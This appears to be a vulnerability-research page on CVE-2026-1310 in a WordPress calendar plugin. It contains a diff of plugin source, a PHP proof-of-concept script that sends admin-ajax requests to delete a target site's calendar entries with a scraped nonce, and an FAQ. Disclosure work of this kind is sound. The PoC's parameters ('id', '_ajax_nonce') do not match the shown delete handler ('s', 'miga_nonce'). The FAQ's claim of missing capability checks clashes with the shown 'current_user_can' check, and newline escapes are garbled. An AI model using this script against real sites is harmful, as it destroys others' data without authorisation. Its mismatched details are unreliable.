+                    'html .miga_calendar' => '--miga-cal-color: {{VALUE}}',
+                ],
+            ]
+        );
+        $this->add_control(
+            'bg_color2',
+            [
+                'label' => esc_html__('Background Color (second)', 'simple-calendar-for-elementor'),
+                'type' => ElementorControls_Manager::COLOR,
+                'selectors' => [
+                    'html .miga_calendar' => '--miga-cal-color-second: {{VALUE}}',
+                ],
+            ]
+        );
+
+        $this->add_control(
+            'font_color2',
+            [
+                'label' => esc_html__('Font Color with status', 'simple-calendar-for-elementor'),
+                'type' => ElementorControls_Manager::COLOR,
+                'selectors' => [
+                    '{{WRAPPER}} .calendar__day.calendar__day--hasClass' => 'color: {{VALUE}}',
+                ],
+            ]
+        );
+        $this->end_controls_section();
+
+        require("includes/legend_styles.php");
+    }
+
+    public function get_style_depends()
+    {
+        wp_register_style(
+            "miga_calendar_styles",
+            plugins_url("../styles/main.css", __FILE__)
+        );
+        return ["miga_calendar_styles"];
+    }
+
+    protected function render()
+    {
+        $isEditor = ElementorPlugin::$instance->editor->is_edit_mode();
+        $settings = $this->get_settings_for_display();
+        $calendar = $settings["calendar"];
+        $layout = $settings["layout"];
+        $legend_position = $settings["legend_position"];
+        $round_days = ($settings["squared_days"] == "yes") ? 'miga_calendar_box_squared' : '';
+        $showButton = ($settings["show_today"] == "yes");
+        $fixed_month = ($settings["fixed_month"] == "yes");
+        $show_title = ($settings["show_title"] == "yes");
+        $selected_month = -1;
+        $selected_year = -1;
+
+        if ($fixed_month) {
+            if (isset($settings["selected_month"])) {
+                $selected_month = (int)$settings["selected_month"];
+            } else {
+                $selected_month = 1;
+            }
+            if (isset($settings["selected_year"])) {
+                $selected_year = (int)$settings["selected_year"];
+            } else {
+                $selected_year = date("Y");
+            }
+            $showButton = 0;
+        }
+
+        if ($isEditor) {
+            echo '<input type="hidden" value="'.esc_html($calendar).'" id="currentCalendar"/>';
+        }
+
+        echo '<div class="miga_calendar ' .esc_html($layout).
+            ' ' .esc_html($legend_position) .' '. '" data-year="'.date("Y").'" data-month="'.date("m").'" data-showtitle="'.$show_title.'" data-showbutton="'.$showButton.'" data-calendar="' .
+            esc_html($calendar) .
+            '">';
+        echo '<div class="miga_calendar_box '.$round_days.'">';
+        miga_ajax_functions_cal($calendar, [
+          "showButton" => $showButton,
+          "fixedMonth" => $fixed_month,
+          "selectedMonth" => $selected_month,
+          "selectedYear" => $selected_year,
+          "showTitle" => $show_title,
+        ]);
+        echo '<div class="loading_spinner"></div>';
+        echo '</div>';
+
+        if ($settings["show_legend"] == "yes") {
+            global $wpdb;
+            $table_name = TABLE_NAME_MIGA_CAL_STATUS;
+
+            // if (isset($_POST["submit"])) {
+            //     $wpdb->insert($table_name, [
+            //         "status" => sanitize_text_field($_POST["status"]),
+            //         "class" => sanitize_text_field($_POST["class"]),
+            //     ]);
+            // }
+
+            $results = $wpdb->get_results(("SELECT * FROM $table_name"));
+            if (!empty($results)) {
+                echo '<div class="calendar__legend '.$round_days.'">';
+                echo '<div class="calendar__legend_title">' . esc_html__("Legend", "simple-calendar-for-elementor") . "</div>";
+                foreach ($results as $row) {
+                    if ($row->visible) {
+                        echo '<div class="calendar__legend_row"><div class="calendar__legend_item ' .
+                            esc_html($row->class) .
+                            '"></div><div class="calendar__legend_row_status">' .
+                            esc_html($row->status) .
+                            "</div></div>";
+                    }
+                }
+                echo "</div>";
+            }
+        }
+        echo "</div>";
+    }
+}
--- a/simple-calendar-for-elementor/trunk/widget/elementor_calendar_legend.php
+++ b/simple-calendar-for-elementor/trunk/widget/elementor_calendar_legend.php
@@ -0,0 +1,102 @@
+<?php
+
+class MIGA_Simple_Calendar_Legend extends ElementorWidget_Base
+{
+    public function get_script_depends()
+    {
+        return ["miga_calendar_script"];
+    }
+
+    public function get_name()
+    {
+        return "simple-calendar-for-elementor-legend";
+    }
+
+    public function get_title()
+    {
+        return __("Simple Calendar (Legend)", "simple-calendar-for-elementor");
+    }
+
+    public function get_icon()
+    {
+        return "eicon-calendar";
+    }
+
+    public function get_categories()
+    {
+        return ["general"];
+    }
+
+    protected function register_controls()
+    {
+        $this->start_controls_section("content_section", [
+          "label" => __("Content", "simple-calendar-for-elementor"),
+            "tab" => ElementorControls_Manager::TAB_CONTENT,
+        ]);
+
+        $this->add_control(
+            'show_title',
+            [
+                'label' => esc_html__('Show Title', 'simple-calendar-for-elementor'),
+                'type' => ElementorControls_Manager::SWITCHER,
+                'label_on' => esc_html__('Show', 'simple-calendar-for-elementor'),
+                'label_off' => esc_html__('Hide', 'simple-calendar-for-elementor'),
+                'return_value' => 'yes',
+                'default' => 'yes',
+            ]
+        );
+
+        $this->add_control("squared_days", [
+            "label" => __("Squared days", "simple-calendar-for-elementor"),
+            "type" => ElementorControls_Manager::SWITCHER,
+            "label_on" => __("yes", "simple-calendar-for-elementor"),
+            "label_off" => __("no", "simple-calendar-for-elementor"),
+            "return_value" => __("yes", "simple-calendar-for-elementor"),
+            "default" => __("no", "simple-calendar-for-elementor"),
+        ]);
+
+        $this->end_controls_section();
+
+        require("includes/legend_styles.php");
+    }
+
+    public function get_style_depends()
+    {
+        wp_register_style(
+            "miga_calendar_styles",
+            plugins_url("../styles/main.css", __FILE__)
+        );
+        return ["miga_calendar_styles"];
+    }
+
+    protected function render()
+    {
+        $isEditor = ElementorPlugin::$instance->editor->is_edit_mode();
+        $settings = $this->get_settings_for_display();
+        $round_days = ($settings["squared_days"]=="yes") ? 'miga_calendar_box_squared' : '';
+
+
+
+        echo '<div class="miga_calendar">';
+        global $wpdb;
+        $table_name = TABLE_NAME_MIGA_CAL_STATUS;
+        $results =$wpdb->get_results(("SELECT * FROM $table_name"));
+        if (!empty($results)) {
+            echo '<div class="calendar__legend '.$round_days.'">';
+            if ($settings["show_title"]=="yes") {
+                echo '<div class="calendar__legend_title">' . esc_html__("Legend", "simple-calendar-for-elementor") . "</div>";
+            }
+            foreach ($results as $row) {
+                if ($row->visible) {
+                    echo '<div class="calendar__legend_row"><div class="calendar__legend_item ' .
+                        esc_html($row->class) .
+                        '"></div><div class="calendar__legend_row_status">' .
+                        esc_html($row->status) .
+                        "</div></div>";
+                }
+            }
+            echo "</div>";
+        }
+        echo "</div>";
+    }
+}
--- a/simple-calendar-for-elementor/trunk/widget/includes/Calendar.class.php
+++ b/simple-calendar-for-elementor/trunk/widget/includes/Calendar.class.php
@@ -0,0 +1,214 @@
+<?php
+/**
+ * Calendar class
+ */
+class Miga_calendar_Day
+{
+    private $number;
+    private $date;
+    private $weekday;
+    private $statusClass;
+    private $showTitle = true;
+    private $statusText;
+    private $month;
+    private $year;
+
+    public function __construct($year, $month, $day)
+    {
+        $this->date = strtotime($year . "-" . $month . "-" . $day);
+        $this->month = $month;
+        $this->year = $year;
+        $this->number = date("d", $this->date);
+        $this->weekday = date("w", $this->date); // Sunday = 0
+    }
+
+    public function getNumber()
+    {
+        return (int) $this->number;
+    }
+    public function getDate()
+    {
+        return $this->date;
+    }
+    public function getWeekday()
+    {
+        return (int) $this->weekday;
+    }
+    public function setStatus($statusClass, $statusText)
+    {
+        $this->statusClass = $statusClass;
+        $this->statusText = $statusText;
+    }
+    public function showTitle($val)
+    {
+        $this->showTitle = $val;
+    }
+    public function render()
+    {
+        $hasClass = "";
+        if (!empty($this->statusClass)) {
+            $hasClass = "calendar__day--hasClass";
+        }
+
+        $title = esc_html($this->statusText);
+        $todayClass = "";
+        if ($this->getNumber() == date('d') && $this->month == date('m') && $this->year == date("Y")) {
+            $todayClass = "calendar__day--today";
+            $title = __("today", "simple-calendar-for-elementor");
+        }
+
+        if (!$this->showTitle) {
+            $title = "";
+        }
+        return '<div title="'.$title.'" class="calendar__day '.$todayClass.' '.esc_html($hasClass).' '.esc_html($this->statusClass).'" data-weekday="'.(int) ($this->weekday).'">'.(int) ($this->getNumber())."</div>";
+    }
+}
+
+class Miga_calendar_Month
+{
+    private $month;
+    private $year;
+    private $daysInMonth;
+    private $monthName;
+    private $statusClass;
+    private $statusText;
+
+    public function __construct($month, $year)
+    {
+        $monthNames = [
+            __("Jan", "simple-calendar-for-elementor"),
+            __("Feb", "simple-calendar-for-elementor"),
+            __("Mar", "simple-calendar-for-elementor"),
+            __("Apr", "simple-calendar-for-elementor"),
+            __("May", "simple-calendar-for-elementor"),
+            __("Jun", "simple-calendar-for-elementor"),
+            __("Jul", "simple-calendar-for-elementor"),
+            __("Aug", "simple-calendar-for-elementor"),
+            __("Sep", "simple-calendar-for-elementor"),
+            __("Oct", "simple-calendar-for-elementor"),
+            __("Nov", "simple-calendar-for-elementor"),
+            __("Dec", "simple-calendar-for-elementor"),
+        ];
+        $this->month = $month;
+        $this->year = $year;
+        $this->statusClass = array_fill(0, 35, "");
+        $this->statusText = array_fill(0, 35, "");
+        $this->daysInMonth = cal_days_in_month(
+            CAL_GREGORIAN,
+            $this->month,
+            $this->year
+        );
+        $this->monthName = $monthNames[(int) $this->month - 1];
+    }
+
+    public function setStatus($day, $statusClass, $statusText)
+    {
+        $replace = [(int) $day => $statusClass];
+        $replaceText = [(int) $day => $statusText];
+        $this->statusClass = array_replace($this->statusClass, $replace);
+        $this->statusText = array_replace($this->statusText, $replaceText);
+    }
+    public function getStatusClass($day)
+    {
+        return $this->statusClass[(int) $day];
+    }
+    public function getStatusText($day)
+    {
+        return $this->statusText[(int) $day];
+    }
+
+    public function render($options = null)
+    {
+        $showMenu = isset($options["menu"]) && $options["menu"] == true;
+        $showButton = isset($options["showButton"]) && $options["showButton"] == true;
+        $showEditorMenu = isset($options["editorMenu"]) && $options["editorMenu"] == true;
+        $fixedMonth = isset($options["fixedMonth"]) && $options["fixedMonth"] == true;
+        $showTitle = isset($options["showTitle"]) && $options["showTitle"] == true;
+
+        if ($fixedMonth) {
+            $showMenu = $showButton = $showEditorMenu = false;
+        }
+
+        echo '<div class="calendar">';
+        echo '<div class="calendar__header">';
+        if ($showMenu) {
+            echo '<button class="calendar__prev" onclick="miga_calendar_loadPrev(this); return false;"><svg width="15" height="15" version="1.1" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><path transform="matrix(-.2605 .8617 .9721 .2309 6.828 -1.227)" d="m21.73 21.86-23.06-6.178 16.88-16.88 3.089 11.53z"/></svg></button>';
+        } elseif ($showEditorMenu) {
+            echo '<button class="calendar__prev" onclick="miga_calendar_loadEditorPrev(this); return false;"><svg width="15" height="15" version="1.1" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><path transform="matrix(-.2605 .8617 .9721 .2309 6.828 -1.227)" d="m21.73 21.86-23.06-6.178 16.88-16.88 3.089 11.53z"/></svg></button>';
+        }
+
+        echo '<div class="calendar__title">' . esc_html($this->monthName) . " " .esc_html($this->year) . "</div>";
+        if ($showMenu) {
+            echo '<button class="calendar__next" onclick="miga_calendar_loadNext(this)"><svg width="15" height="15" version="1.1" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><path transform="matrix(.2605 .8617 -.9721 .2309 17.05 -1.227)" d="m21.73 21.86-23.06-6.178 16.88-16.88 3.089 11.53z"/></svg></button>';
+        } elseif ($showEditorMenu) {
+            echo '<button class="calendar__next" onclick="miga_calendar_loadEditorNext(this)"><svg width="15" height="15" version="1.1" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><path transform="matrix(.2605 .8617 -.9721 .2309 17.05 -1.227)" d="m21.73 21.86-23.06-6.178 16.88-16.88 3.089 11.53z"/></svg></button>';
+        }
+        echo "</div>";
+
+        echo '<div class="calendar__dates">';
+        echo '<div class="calendar__week">';
+        echo '<div class="calendar__day_name">' .
+            __("Mo", "simple-calendar-for-elementor") .
+            "</div>";
+        echo '<div class="calendar__day_name">' .
+            __("Tu", "simple-calendar-for-elementor") .
+            "</div>";
+        echo '<div class="calendar__day_name">' .
+            __("We", "simple-calendar-for-elementor") .
+            "</div>";
+        echo '<div class="calendar__day_name">' .
+            __("Th", "simple-calendar-for-elementor") .
+            "</div>";
+        echo '<div class="calendar__day_name">' .
+            __("Fr", "simple-calendar-for-elementor") .
+            "</div>";
+        echo '<div class="calendar__day_name">' .
+            __("Sa", "simple-calendar-for-elementor") .
+            "</div>";
+        echo '<div class="calendar__day_name">' .
+            __("Su", "simple-calendar-for-elementor") .
+            "</div>";
+        echo "</div>";
+        echo '<div class="calendar__week">';
+        $lastWeekday = 0;
+        for ($i = 1, $len = $this->daysInMonth; $i <= $len; ++$i) {
+            $d = new Miga_calendar_Day($this->year, $this->month, $i);
+            if ($i == 1) {
+                $end = $d->getWeekday() - 1;
+                if ($end == -1) {
+                    $end = 6;
+                }
+                for ($j = 0; $j < $end; ++$j) {
+                    echo '<div class="calendar__day calendar__day--empty"></div>';
+                }
+            }
+            if ($i > 1 && $d->getWeekday() == 1) {
+                echo '</div><div class="calendar__week">';
+            }
+            $lastWeekday = $d->getWeekday() - 1;
+            if ($lastWeekday == -1) {
+                $lastWeekday = 6;
+            }
+            $d->showTitle($showTitle);
+            $d->setStatus($this->getStatusClass($d->getNumber()), $this->getStatusText($d->getNumber()));
+            echo $d->render();
+        }
+        for ($j = $lastWeekday; $j < 6; ++$j) {
+            echo '<div class="calendar__day calendar__day--empty"></div>';
+        }
+        echo "</div>";
+        echo "</div>";
+        if ($showButton) {
+            if ($showMenu) {
+                echo '<button class="calendar__today" onclick="miga_calendar_loadToday(this); return false;">' .
+                    esc_html__("today", "simple-calendar-for-elementor") .
+                    "</button>";
+            } elseif ($showEditorMenu) {
+                echo '<button class="calendar__today" onclick="miga_calendar_loadEditorToday(this); return false;">' .
+                    esc_html__("today", "simple-calendar-for-elementor") .
+                    "</button>";
+            }
+        }
+        echo "</div>";
+    }
+}
--- a/simple-calendar-for-elementor/trunk/widget/includes/backend_calendars.php
+++ b/simple-calendar-for-elementor/trunk/widget/includes/backend_calendars.php
@@ -0,0 +1,38 @@
+<div class="flex">
+  <div class="miga_calendar_half">
+<?php
+require "custom_table.php";
+
+global $wpdb;
+$table = new Miga_calendar_events_List_Table();
+$table_name = TABLE_NAME_MIGA_CAL_CALENDAR;
+
+if (isset($_POST["submit"])) {
+    if (! isset($_POST['simple_calendar_nonce']) || ! wp_verify_nonce($_POST['simple_calendar_nonce'], 'add_calendar')) {
+        return;
+    }
+    if (!empty($_POST["title"])) {
+        $title = sanitize_text_field($_POST["title"]);
+        $wpdb->insert($table_name, [
+            "title" => esc_attr($title),
+        ]);
+    }
+}
+
+$table->prepare_items();
+$table->display();
+?>
+<br/>
+
+<form method="post" class="miga_calendar_calendar" action="?page=miga_calendar-page">
+<?php wp_nonce_field('add_calendar', 'simple_calendar_nonce'); ?>
+<input type="text" value="" name="title" id="title" placeholder="<?php echo esc_html__("Add calendar", "simple-calendar-for-elementor"); ?>"/>
+<?php echo submit_button(esc_html__("add", "simple-calendar-for-elementor")); ?>
+</form>
+
+</div>
+<div class="miga_calendar_half">
+  <h2><?php echo esc_html__("Calendar", "simple-calendar-for-elementor"); ?></h2>
+  <p><?php echo esc_html__("Create different calendars you can select in the Elementor Calendar widget. Each calendar can have it's own events.", "simple-calendar-for-elementor"); ?></p>
+</div>
+</div>
--- a/simple-calendar-for-elementor/trunk/widget/includes/backend_events.php
+++ b/simple-calendar-for-elementor/trunk/widget/includes/backend_events.php
@@ -0,0 +1,16 @@
+<?php if (!did_action("elementor/loaded")) {
+  echo "Please install and enable Elementor first";
+    return false;
+} ?>
+
+<div class="flex">
+  <div id="miga_calendar_half_cal" class="miga_calendar_half">
+    <?php miga_ajax_editor_cal(); ?>
+</div>
+<div class="miga_calendar_half">
+  <h2><?php echo esc_html__("Events", "simple-calendar-for-elementor"); ?></h2>
+  <p><?php echo wp_kses_post(__("Select a calendar and add an event to a day. To add or change a status go to the <b>Status/Classes</b> tab.", "simple-calendar-for-elementor")); ?></p>
+  <h2><?php echo esc_html__("Custom colors", "simple-calendar-for-elementor"); ?></h2>
+  <p><?php echo wp_kses_post(__("Colors for the custom classes are only visible in the frontend.", "simple-calendar-for-elementor")); ?></p>
+</div>
+</div>
--- a/simple-calendar-for-elementor/trunk/widget/includes/backend_functions.php
+++ b/simple-calendar-for-elementor/trunk/widget/includes/backend_functions.php
@@ -0,0 +1,305 @@
+<?php
+
+function miga_ajax_editor_cal_delete()
+{
+    global $wpdb;
+    $table_name = TABLE_NAME_MIGA_CAL_STATUS;
+    if (! isset($_REQUEST['miga_nonce']) || ! wp_verify_nonce($_REQUEST['miga_nonce'], 'miga_nonce')) {
+        return;
+    }
+    if (current_user_can('edit_others_posts') ) {
+        $wpdb->delete(
+            $table_name, [
+            "id" => (int) $_POST["s"],
+            ]
+        );
+    }
+}
+
+function miga_ajax_editor_cal_update()
+{
+    global $wpdb;
+    $table_name = TABLE_NAME_MIGA_CAL_STATUS;
+    if (! isset($_POST['miga_nonce']) || ! wp_verify_nonce($_POST['miga_nonce'], 'miga_nonce')) {
+        return;
+    }
+    if (current_user_can('edit_others_posts') ) {
+        $wpdb->update(
+            $table_name,
+            [
+            "status" => sanitize_text_field($_POST["n"]),
+            "class" => sanitize_text_field($_POST["c"]),
+            "visible" => (int) $_POST["v"],
+            ],
+            ["id" => (int) $_POST["s"]]
+        );
+    }
+}
+
+function miga_ajax_editor_cal()
+{
+    include_once ABSPATH . "wp-admin/includes/admin.php";
+    global $wpdb;
+    $month = date("m");
+    $year = date("Y");
+
+    if (isset($_POST["m"])) {
+        $month = (int) $_POST["m"];
+    }
+    if (isset($_POST["y"])) {
+        $year = (int) $_POST["y"];
+    }
+    $currentCal = 0;
+
+    if (isset($_GET["cal"])) {
+        $currentCal = (int) $_GET["cal"];
+    }
+
+    if (isset($_POST["c"])) {
+        $currentCal = (int) $_POST["c"];
+    }
+
+    if (isset($_POST["calendar"])) {
+        $currentCal = (int) $_POST["calendar"];
+    }
+
+    $table_name_cal = TABLE_NAME_MIGA_CAL_CALENDAR;
+    $results = $wpdb->get_results(("SELECT * FROM $table_name_cal"));
+    echo '<div class="flex align-middle editor_header">';
+    echo "<b>" . esc_html__("Current calendar", "simple-calendar-for-elementor") . '</b>';
+
+    $cal = [];
+    $hasCalendar = !empty($results);
+    if ($hasCalendar) {
+        echo '<select id="miga_calendar_select" onchange="miga_calendar_onchangeCal();">';
+        if ($currentCal == 0) {
+            $currentCal = $results[0]->id;
+        }
+        foreach ($results as $row) {
+            $sel = "";
+            if ($row->id == $currentCal) {
+                $sel = " selected ";
+            }
+            echo '<option value="' . esc_html($row->id) . '" ' . esc_html($sel) .">" . esc_html($row->title) ."</option>";
+        }
+        echo "</select>";
+    } else {
+        echo '<span id="miga_calendar_select"> - </span>';
+    }
+
+    $days = cal_days_in_month(CAL_GREGORIAN, $month, $year);
+    $status = [];
+    $table_name = TABLE_NAME_MIGA_CAL_EVENTS;
+    $table_name_status = TABLE_NAME_MIGA_CAL_STATUS;
+
+    if (isset($_POST["submit"])) {
+        if (! isset($_POST['simple_calendar_nonce']) || ! wp_verify_nonce($_POST['simple_calendar_nonce'], 'add_calendar_event')) {
+            return;
+        }
+
+        $data = array_map('sanitize_text_field', $_POST["miga_calendar_days"]);
+        $eYear = (int) sanitize_key($_POST["eYear"]);
+        $eMonth = (int) sanitize_key($_POST["eMonth"]);
+        $cal = (int) sanitize_key($_POST["calendar"]);
+
+        foreach ($data as $key => $item) {
+
+            $results =$wpdb->get_results(
+                $wpdb->prepare(
+                    "SELECT * FROM $table_name WHERE calendar=%d AND DAY(date)=%d AND MONTH(date)=%d AND YEAR(date)=%d",
+                    $cal,
+                    $key,
+                    $eMonth,
+                    $eYear
+                )
+            );
+
+            if (!empty($results)) {
+                $wpdb->update(
+                    $table_name,
+                    [
+                        "date" => date(
+                            "Y-m-d",
+                            strtotime($eYear . "-" . $eMonth . "-" . $key)
+                        ),
+                        "status" => esc_html($item),
+                        // "title" => $texts[$key],
+                        "calendar" => (int) $cal,
+                    ],
+                    ["id" => $results[0]->id]
+                );
+            } else {
+                if (!empty($item)) {
+                    $wpdb->insert(
+                        $table_name, [
+                        "date" => date(
+                            "Y-m-d",
+                            strtotime($eYear . "-" . $eMonth . "-" . $key)
+                        ),
+                        "status" => esc_html($item),
+                        "calendar" => (int) $cal,
+                        ]
+                    );
+                }
+            }
+        }
+    }
+
+    $results =$wpdb->get_results(
+        $wpdb->prepare(
+            "SELECT a.title, a.date, b.id AS statusId,b.visible, b.status, b.class FROM $table_name AS a LEFT JOIN $table_name_status AS b ON a.status = b.id  WHERE calendar=%d AND MONTH(date)=%d AND YEAR(date)=%d",
+            $currentCal,
+            $month,
+            $year
+        )
+    );
+
+    if (!empty($results)) {
+        foreach ($results as $row) {
+            $replace = [
+                (int) date("d", strtotime($row->date)) => [
+                    "statusId" => (int) $row->statusId,
+                    "class" => esc_html($row->class),
+                    "title" => esc_html($row->title),
+                    "visible" => (int) $row->visible,
+                ],
+            ];
+            $status = array_replace($status, $replace);
+        }
+    }
+
+    echo '<input type="hidden" value="' .
+        esc_html($currentCal) .
+        '" id="currentCalendar"/>';
+    echo "";
+    echo "</div>";
+
+    echo '<div class="flex miga_calendar" data-year="'.date("Y").'" data-month="'.date("m").'">';
+    echo '<div class="static_cal">';
+    include "Calendar.class.php";
+    $m = new Miga_calendar_Month($month, $year);
+    if ($wpdb != null) {
+        $table_name = TABLE_NAME_MIGA_CAL_EVENTS;
+        $table_name_status = TABLE_NAME_MIGA_CAL_STATUS;
+
+        $results =$wpdb->get_results(
+            $wpdb->prepare(
+                "SELECT a.date, b.status, b.class,b.visible FROM $table_name AS a LEFT JOIN $table_name_status AS b ON a.status = b.id WHERE calendar=%d AND MONTH(date)=%d AND YEAR(date)=%d",
+                $currentCal,
+                $month,
+                $year
+            )
+        );
+
+        if (!empty($results)) {
+            foreach ($results as $row) {
+                if ($row->visible) {
+                    // only show visible events
+                    $m->setStatus(
+                        date("d", strtotime($row->date)),
+                        $row->class,
+                        $row->status
+                    );
+                }
+            }
+        }
+    }
+
+    $options = [];
+
+    if ($wpdb != null) {
+        $table_name = TABLE_NAME_MIGA_CAL_STATUS;
+        $results = $wpdb->get_results("SELECT * FROM $table_name");
+        if (!empty($results)) {
+            foreach ($results as $row) {
+                if ($row->visible) {
+                    // only add visible options
+                    $options[] = [
+                        "id" => $row->id,
+                        "status" => $row->status,
+                        "class" => $row->class,
+                        "visible" => $row->visible,
+                    ];
+                }
+            }
+        }
+    }
+
+    $m->render(
+        [
+        "editorMenu" => true,
+        ]
+    );
+    echo "</div>";
+    if ($hasCalendar) {
+
+        echo '<form class="miga_calendar_events" method="post" action="?page=miga_calendar-page&tab=events">';
+        settings_fields("miga_calendar_days_option_group");
+        ?>
+    <table>
+      <thead>
+        <tr>
+          <th><?php echo esc_html__("Day", "simple-calendar-for-elementor"); ?></th>
+          <th><?php echo esc_html__("Status", "simple-calendar-for-elementor"); ?></th>
+          <!-- <th><?php /*echo esc_html__("Description", "simple-calendar-for-elementor");*/ ?></th> -->
+        </tr>
+      </thead>
+      <tbody>

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1310 - Simple calendar for Elementor <= 1.6.6 - Missing Authorization to Unauthenticated Arbitrary Calendar Entry Deletion

<?php
/**
 * Proof of Concept for CVE-2026-1310
 * Unauthenticated Calendar Entry Deletion in Simple calendar for Elementor <= 1.6.6
 * 
 * Usage: php poc.php --url=https://target.site --id=123 --nonce=abc123def
 * 
 * The nonce can be extracted from pages where the calendar is embedded:
 * - View page source and search for 'miga_nonce'
 * - Or inspect network requests to admin-ajax.php
 */

$target_url = ''; // Set target WordPress site URL
$entry_id = 1;    // Calendar entry ID to delete
$nonce = '';      // Valid miga_nonce from target site

// Parse command line arguments
if ($argc > 1) {
    $options = getopt('', ['url:', 'id:', 'nonce:']);
    if (isset($options['url'])) $target_url = $options['url'];
    if (isset($options['id'])) $entry_id = (int)$options['id'];
    if (isset($options['nonce'])) $nonce = $options['nonce'];
}

if (empty($target_url) || empty($nonce)) {
    echo "Usage: php poc.php --url=https://target.site --id=123 --nonce=abc123defn";
    echo "nTo obtain nonce:n";
    echo "1. Visit a page with the calendar embeddedn";
    echo "2. View page source and search for 'miga_nonce'n";
    echo "3. Or monitor network requests to admin-ajax.phpn";
    exit(1);
}

// Construct AJAX endpoint
$ajax_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';

// Prepare POST data
$post_data = [
    'action' => 'miga_editor_cal_delete',
    'id' => $entry_id,
    '_ajax_nonce' => $nonce
];

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if (curl_errno($ch)) {
    echo "cURL Error: " . curl_error($ch) . "n";
    curl_close($ch);
    exit(1);
}

curl_close($ch);

// Analyze response
echo "Target: $target_urln";
echo "Entry ID: $entry_idn";
echo "HTTP Status: $http_coden";
echo "Response: $responsen";

if ($http_code === 200 && strpos($response, 'success') !== false) {
    echo "n[SUCCESS] Calendar entry $entry_id likely deletedn";
} else {
    echo "n[FAILED] Deletion attempt unsuccessfuln";
    echo "Possible reasons:n";
    echo "- Plugin not installed/activatedn";
    echo "- Invalid noncen";
    echo "- Entry ID doesn't existn";
    echo "- Site is patched (version > 1.6.6)n";
}

?>

Frequently Asked Questions

What is CVE-2026-1310?
Overview of the vulnerability
CVE-2026-1310 is a security vulnerability in the Simple Calendar for Elementor plugin for WordPress, affecting versions up to and including 1.6.6. It is classified as a Missing Authorization flaw that allows unauthenticated users to delete arbitrary calendar entries.
How does the vulnerability work?
Mechanism of exploitation
The vulnerability arises from the lack of capability checks in the `miga_ajax_editor_cal_delete` function, which is accessible via an AJAX action for both authenticated and unauthenticated users. An attacker can send a request with a valid nonce and the ID of a calendar entry to delete it.
Who is affected by this vulnerability?
Identifying vulnerable installations
Any WordPress site using the Simple Calendar for Elementor plugin version 1.6.6 or earlier is affected. Administrators should check their plugin version and update if necessary.
How can I check if my site is vulnerable?
Steps to verify plugin version
To determine if your site is vulnerable, check the installed version of the Simple Calendar for Elementor plugin in the WordPress admin dashboard under ‘Plugins’. If it is version 1.6.6 or earlier, your site is at risk.
How can I fix this vulnerability?
Updating the plugin
The vulnerability is fixed in version 1.6.7 of the plugin. Administrators should update to this version or later to mitigate the risk of exploitation.
What does the CVSS score of 5.3 mean?
Understanding risk levels
The CVSS score of 5.3 indicates a medium severity level for this vulnerability. This means that while it is not the highest risk, it can still lead to significant data loss or disruption if exploited.
What are the practical risks of this vulnerability?
Potential impact on operations
Exploitation of this vulnerability could allow an attacker to delete calendar entries, disrupting business operations that rely on accurate calendar displays. While it does not lead to privilege escalation, the data loss can have operational consequences.
What is the proof of concept for this vulnerability?
Demonstrating the issue
The proof of concept is a PHP script that demonstrates how an attacker can exploit the vulnerability by sending a POST request to delete a calendar entry. It requires a valid nonce and the ID of the entry to be deleted.
How can I protect my site from similar vulnerabilities?
General security practices
To protect against similar vulnerabilities, ensure that all plugins and themes are kept up to date, regularly audit your site’s security, and implement access controls to restrict unauthorized actions.
What should I do if I cannot update the plugin immediately?
Temporary mitigation strategies
If immediate updates are not possible, consider disabling the Simple Calendar for Elementor plugin until it can be updated to prevent potential exploitation.
Are there any other vulnerabilities in this plugin?
Reviewing security history
While this specific vulnerability is the focus, it is advisable to review the plugin’s security history and changelog for any other reported issues. Regularly monitoring for updates and security advisories is essential.
Where can I find more information about this vulnerability?
Resources for further reading
More information about CVE-2026-1310 can be found on the National Vulnerability Database (NVD) and security advisories from reputable sources. Additionally, the plugin’s official repository may provide updates and security notices.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations